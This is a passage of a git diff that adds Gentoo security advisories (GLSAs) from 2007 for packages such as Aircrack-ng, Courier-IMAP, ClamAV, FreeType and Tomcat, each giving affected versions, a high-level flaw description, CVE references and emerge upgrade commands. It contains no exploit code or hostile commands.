+      <unaffected range="ge">0.7-r2</unaffected>
+      <vulnerable range="lt">0.7-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can
+    recover keys once enough data packets have been captured.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jonathan So reported that the airodump-ng module does not correctly
+    check the size of 802.11 authentication packets before copying them
+    into a buffer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could trigger a stack-based buffer overflow by
+    sending a specially crafted 802.11 authentication packet to a user
+    running airodump-ng with the -w (--write) option. This could lead to
+    the remote execution of arbitrary code with the permissions of the user
+    running airodump-ng, which is typically the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Aircrack-ng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/aircrack-ng-0.7-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2057">CVE-2007-2057</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 13 Apr 2007 21:21:54 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 Apr 2007 21:24:05 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 14 Apr 2007 22:00:25 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-17.xml b/xml/htdocs/security/en/glsa/glsa-200704-17.xml
new file mode 100644
index 00000000..dd3b28aa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-17.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-17">
+  <title>3proxy: Buffer overflow</title>
+  <synopsis>
+    A vulnerability has been discovered in 3proxy allowing for the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">3proxy</product>
+  <announced>April 22, 2007</announced>
+  <revised>April 22, 2007: 01</revised>
+  <bug>174429</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/3proxy" auto="yes" arch="*">
+      <unaffected range="ge">0.5.3h</unaffected>
+      <vulnerable range="lt">0.5.3h</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    3proxy is a multi-protocol proxy, including HTTP/HTTPS/FTP and SOCKS
+    support.
+    </p>
+  </background>
+  <description>
+    <p>
+    The 3proxy development team reported a buffer overflow in the logurl()
+    function when processing overly long requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted transparent request to
+    the proxy, resulting in the execution of arbitrary code with privileges
+    of the user running 3proxy.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All 3proxy users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/3proxy-0.5.3h&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2031">CVE-2007-2031</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 18 Apr 2007 05:09:29 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 18 Apr 2007 08:45:40 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 18 Apr 2007 20:45:40 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-18.xml b/xml/htdocs/security/en/glsa/glsa-200704-18.xml
new file mode 100644
index 00000000..b58cbfa6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-18.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-18">
+  <title>Courier-IMAP: Remote execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability has been discovered in Courier-IMAP allowing for remote
+    code execution with root privileges.
+  </synopsis>
+  <product type="ebuild">courier-imap</product>
+  <announced>April 22, 2007</announced>
+  <revised>April 23, 2007: 02</revised>
+  <bug>168196</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/courier-imap" auto="yes" arch="*">
+      <unaffected range="ge">4.0.6-r2</unaffected>
+      <unaffected range="lt">4.0.0</unaffected>
+      <vulnerable range="lt">4.0.6-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Courier-IMAP is an IMAP server which is part of the Courier mail
+    system. It provides access only to maildirs.
+    </p>
+  </background>
+  <description>
+    <p>
+    CJ Kucera has discovered that some Courier-IMAP scripts don't properly
+    handle the XMAILDIR variable, allowing for shell command injection.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted login credentials to a
+    Courier-IMAP server instance, possibly leading to remote code execution
+    with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Courier-IMAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/courier-imap-4.0.6-r2&quot;</code>
+  </resolution>
+  <references/>
+  <metadata tag="requester" timestamp="Thu, 12 Apr 2007 14:15:03 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Apr 2007 14:15:17 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 16 Apr 2007 21:50:11 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-19.xml b/xml/htdocs/security/en/glsa/glsa-200704-19.xml
new file mode 100644
index 00000000..2cd47532
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-19.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-19">
+  <title>Blender: User-assisted remote execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability has been discovered in Blender allowing for user-assisted
+    arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">Blender</product>
+  <announced>April 23, 2007</announced>
+  <revised>April 23, 2007: 01</revised>
+  <bug>168907</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/blender" auto="yes" arch="*">
+      <unaffected range="ge">2.43</unaffected>
+      <vulnerable range="lt">2.43</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Blender is a 3D creation, animation and publishing program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius of Secunia Research discovered an insecure use of the
+    "eval()" function in kmz_ImportWithMesh.py.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    Blender file (.kmz or .kml), resulting in the execution of arbitrary
+    Python code with the privileges of the user running Blender.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Blender users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/blender-2.43&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1253">CVE-2007-1253</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 17 Apr 2007 18:07:32 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 18 Apr 2007 09:36:27 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 18 Apr 2007 20:46:11 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-20.xml b/xml/htdocs/security/en/glsa/glsa-200704-20.xml
new file mode 100644
index 00000000..87472532
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-20.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-20">
+  <title>NAS: Multiple vulnerabilities</title>
+  <synopsis>
+    The Network Audio System is vulnerable to a buffer overflow that could
+    result in the execution of arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">NAS</product>
+  <announced>April 23, 2007</announced>
+  <revised>April 23, 2007: 01</revised>
+  <bug>171428</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/nas" auto="yes" arch="*">
+      <unaffected range="ge">1.8b</unaffected>
+      <vulnerable range="lt">1.8b</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NAS is a network transparent, client/server audio transport system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma has discovered multiple vulnerabilities in NAS, some of
+    which include a buffer overflow in the function accept_att_local(), an
+    integer overflow in the function ProcAuWriteElement(), and a null
+    pointer error in the function ReadRequestFromClient().
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker having access to the NAS daemon could send an overly long
+    slave name to the server, leading to the execution of arbitrary code
+    with root privileges. A remote attacker could also send a specially
+    crafted packet containing an invalid client ID, which would crash the
+    server and result in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NAS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/nas-1.8b&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1543">CVE-2007-1543</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1544">CVE-2007-1544</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1545">CVE-2007-1545</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1546">CVE-2007-1546</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1547">CVE-2007-1547</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 02 Apr 2007 13:48:29 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Apr 2007 15:19:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Apr 2007 14:16:06 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-21.xml b/xml/htdocs/security/en/glsa/glsa-200704-21.xml
new file mode 100644
index 00000000..accb406a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-21.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-21">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in ClamAV allowing for the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ClamAV</product>
+  <announced>April 24, 2007</announced>
+  <revised>April 24, 2007: 01</revised>
+  <bug>174375</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.90.2</unaffected>
+      <vulnerable range="lt">0.90.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense Labs have reported a stack-based buffer overflow in the
+    cab_unstore() function when processing negative values in .cab files.
+    Multiple file descriptor leaks have also been reported in chmunpack.c,
+    pdf.c and dblock.c when processing .chm files.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted CHM file to the
+    scanner, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running ClamAV.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.90.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1745">CVE-2007-1745</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1997">CVE-2007-1997</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 14 Apr 2007 22:33:19 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 19 Apr 2007 10:34:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 22 Apr 2007 20:58:42 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-22.xml b/xml/htdocs/security/en/glsa/glsa-200704-22.xml
new file mode 100644
index 00000000..b751315d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-22.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-22">
+  <title>BEAST: Denial of Service</title>
+  <synopsis>
+    A vulnerability has been discovered in BEAST allowing for a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">BEAST</product>
+  <announced>April 27, 2007</announced>
+  <revised>April 27, 2007: 01</revised>
+  <bug>163146</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-sound/beast" auto="yes" arch="*">
+      <unaffected range="ge">0.7.1</unaffected>
+      <vulnerable range="lt">0.7.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BEdevilled Audio SysTem is an audio compositor, supporting a wide range
+    of audio formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    BEAST, which is installed as setuid root, fails to properly check
+    whether it can drop privileges accordingly if seteuid() fails due to a
+    user exceeding assigned resource limits.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local user could exceed his resource limit in order to prevent the
+    seteuid() call from succeeding. This may lead BEAST to keep running
+    with root privileges. Then, the local user could use the "save as"
+    dialog box to overwrite any file on the vulnerable system, potentially
+    leading to a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BEAST users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/beast-0.7.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916">CVE-2006-2916</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447">CVE-2006-4447</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 04 Apr 2007 08:02:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 04 Apr 2007 18:26:01 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Apr 2007 18:26:41 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-23.xml b/xml/htdocs/security/en/glsa/glsa-200704-23.xml
new file mode 100644
index 00000000..677ae69d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-23.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-23">
+  <title>capi4k-utils: Buffer overflow</title>
+  <synopsis>
+    capi4k-utils is vulnerable to a buffer overflow in the bufprint() function.
+  </synopsis>
+  <product type="ebuild">capi4k-utils</product>
+  <announced>April 27, 2007</announced>
+  <revised>April 27, 2007: 01</revised>
+  <bug>170870</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-dialup/capi4k-utils" auto="yes" arch="*">
+      <unaffected range="ge">20050718-r3</unaffected>
+      <vulnerable range="lt">20050718-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    capi4k-utils is a set of utilities for accessing COMMON-ISDN-API
+    software interfaces for ISDN devices.
+    </p>
+  </background>
+  <description>
+    <p>
+    The bufprint() function in capi4k-utils fails to properly check
+    boundaries of data coming from CAPI packets.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could possibly escalate privileges or cause a Denial
+    of Service by sending a crafted CAPI packet.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All capi4k-utils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dialup/capi4k-utils-20050718-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-1217">CVE-2007-1217</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 24 Mar 2007 12:42:52 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Apr 2007 14:51:21 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Apr 2007 22:29:34 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-01.xml b/xml/htdocs/security/en/glsa/glsa-200705-01.xml
new file mode 100644
index 00000000..eb0a68fc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-01.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-01">
+  <title>Ktorrent: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Ktorrent allowing for the
+    remote execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">ktorrent</product>
+  <announced>May 01, 2007</announced>
+  <revised>May 01, 2007: 01</revised>
+  <bug>170303</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/ktorrent" auto="yes" arch="*">
+      <unaffected range="ge">2.1.3</unaffected>
+      <vulnerable range="lt">2.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ktorrent is a Bittorrent client for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Bryan Burns of Juniper Networks discovered a vulnerability in
+    chunkcounter.cpp when processing large or negative idx values, and a
+    directory traversal vulnerability in torrent.cpp.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to download a specially crafted
+    torrent file, possibly resulting in the remote execution of arbitrary
+    code with the privileges of the user running Ktorrent.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ktorrent users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/ktorrent-2.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1384">CVE-2007-1384</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1385">CVE-2007-1385</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1799">CVE-2007-1799</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 24 Apr 2007 19:42:10 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 26 Apr 2007 07:58:35 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 26 Apr 2007 07:59:01 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-02.xml b/xml/htdocs/security/en/glsa/glsa-200705-02.xml
new file mode 100644
index 00000000..2b5c77d2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-02.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-02">
+  <title>FreeType: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability has been discovered in FreeType allowing for user-assisted
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">freetype</product>
+  <announced>May 01, 2007</announced>
+  <revised>May 27, 2007: 02</revised>
+  <bug>172577</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/freetype" auto="yes" arch="*">
+      <unaffected range="ge">2.1.10-r3</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.1.10-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeType is a True Type Font rendering library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Greg MacManus of iDefense Labs has discovered an integer overflow in
+    the function bdfReadCharacters() when parsing BDF fonts.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to use a specially crafted BDF
+    font, possibly resulting in a heap-based buffer overflow and the remote
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeType users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/freetype-2.1.10-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1351">CVE-2007-1351</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 12 Apr 2007 09:19:23 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Apr 2007 09:19:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 26 Apr 2007 08:55:44 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-03.xml b/xml/htdocs/security/en/glsa/glsa-200705-03.xml
new file mode 100644
index 00000000..e8bddb67
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-03.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-03">
+  <title>Tomcat: Information disclosure</title>
+  <synopsis>
+    A vulnerability has been discovered in Tomcat that allows for the
+    disclosure of sensitive information.
+  </synopsis>
+  <product type="ebuild">tomcat</product>
+  <announced>May 01, 2007</announced>
+  <revised>May 01, 2007: 01</revised>
+  <bug>173122</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/tomcat" auto="yes" arch="*">
+      <unaffected range="ge">5.5.22</unaffected>
+      <vulnerable range="lt">5.5.22</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tomcat is the Apache Jakarta Project's official implementation of Java
+    Servlets and Java Server Pages.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tomcat allows special characters like slash, backslash or URL-encoded
+    backslash as a separator, while Apache does not.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could send a specially crafted URL to the vulnerable
+    Tomcat server, possibly resulting in a directory traversal and read
+    access to arbitrary files with the privileges of the user running
+    Tomcat. Note that this vulnerability can only be exploited when using
+    apache proxy modules like mod_proxy, mod_rewrite or mod_jk.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tomcat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/tomcat-5.5.22&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0450">CVE-2007-0450</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 24 Apr 2007 19:49:54 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 25 Apr 2007 20:54:19 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Apr 2007 20:54:45 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-04.xml b/xml/htdocs/security/en/glsa/glsa-200705-04.xml
new file mode 100644
index 00000000..d213fd3e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-04.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-04">
+  <title>Apache mod_perl: Denial of Service</title>
+  <synopsis>
+    The mod_perl Apache module is vulnerable to a Denial of Service when
+    processing regular expressions.
+  </synopsis>
+  <product type="ebuild">mod_perl</product>
+  <announced>May 02, 2007</announced>
+  <revised>May 02, 2007: 02</revised>
+  <bug>172676</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_perl" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3-r1</unaffected>
+      <unaffected range="rge">1.30</unaffected>
+      <vulnerable range="lt">2.0.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mod_perl is an Apache module that embeds the Perl interpreter within
+    the server, allowing Perl-based web-applications to be created.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alex Solvey discovered that the "path_info" variable used in file
+    RegistryCooker.pm (mod_perl 2.x) or file PerlRun.pm (mod_perl 1.x), is
+    not properly escaped before being processed.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted URL to the vulnerable
+    server, possibly resulting in a massive resource consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_perl 1.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_perl-1.30&quot;</code>
+    <p>
+    All mod_perl 2.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_perl-2.0.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1349">CVE-2007-1349</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 23 Apr 2007 19:53:36 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Apr 2007 15:28:21 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 25 Apr 2007 21:05:17 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-05.xml b/xml/htdocs/security/en/glsa/glsa-200705-05.xml
new file mode 100644
index 00000000..62c68543
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
